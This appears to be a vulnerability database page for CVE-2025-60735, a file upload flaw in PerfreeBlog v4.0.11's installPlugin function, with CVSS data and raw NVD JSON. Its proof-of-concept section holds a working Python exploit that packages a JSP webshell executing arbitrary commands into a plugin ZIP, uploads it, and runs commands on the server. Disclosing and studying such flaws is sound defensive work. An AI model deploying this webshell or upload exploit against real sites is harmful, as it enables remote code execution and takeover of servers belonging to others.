Security Vulnerability Report
中文
CVE-2025-60735 CVSS 7.6 HIGH

CVE-2025-60735

Published: 2025-10-24 18:15:41
Last Modified: 2025-10-27 17:43:58

Description

PerfreeBlog v4.0.11 has a File Upload vulnerability in the installPlugin function

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:* - VULNERABLE
PerfreeBlog v4.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os import requests # Create malicious plugin with JSP webshell malicious_jsp = ''' <%@ page import="java.util.*,java.io.*"%> <% if(request.getParameter("cmd")!=null){ String cmd=request.getParameter("cmd"); Process p=Runtime.getRuntime().exec(cmd); OutputStream os=p.getOutputStream(); InputStream in=p.getInputStream(); DataInputStream dis=new DataInputStream(in); String disr=dis.readLine(); while(disr!=null){ out.println(disr); disr=dis.readLine(); } } %> ''' # Create plugin structure plugin_info = '{"name":"evil","version":"1.0","author":"poc"}' # Create malicious ZIP file with zipfile.ZipFile('evil_plugin.zip', 'w') as zf: zf.writestr('plugin.json', plugin_info) zf.writestr('webshell.jsp', malicious_jsp) # Upload the malicious plugin url = 'http://target.com/admin/plugin/install' files = {'file': open('evil_plugin.zip', 'rb')} data = {'action': 'installPlugin'} response = requests.post(url, files=files, data=data, cookies={'JSESSIONID': 'your_session'}) # Access the uploaded webshell if response.status_code == 200: webshell_url = 'http://target.com/uploads/plugins/webshell.jsp?cmd=whoami' rce_response = requests.get(webshell_url) print('RCE Exploit Success!') print(rce_response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60735", "sourceIdentifier": "[email protected]", "published": "2025-10-24T18:15:41.160", "lastModified": "2025-10-27T17:43:58.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PerfreeBlog v4.0.11 has a File Upload vulnerability in the installPlugin function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:*", "matchCriteriaId": "56788914-09FF-444D-B30C-0613B758089B"}]}]}], "references": [{"url": "http://perfreeblog.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/dengxmenglihua/cve/blob/main/PerfreeBlog/File%20Upload%202/Arbitrary%20File%20Upload%20Vulnerability%20in%20PerfreeBlog%20System.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://perfree.org.cn/", "source": "[email protected]", "tags": ["Product"]}]}}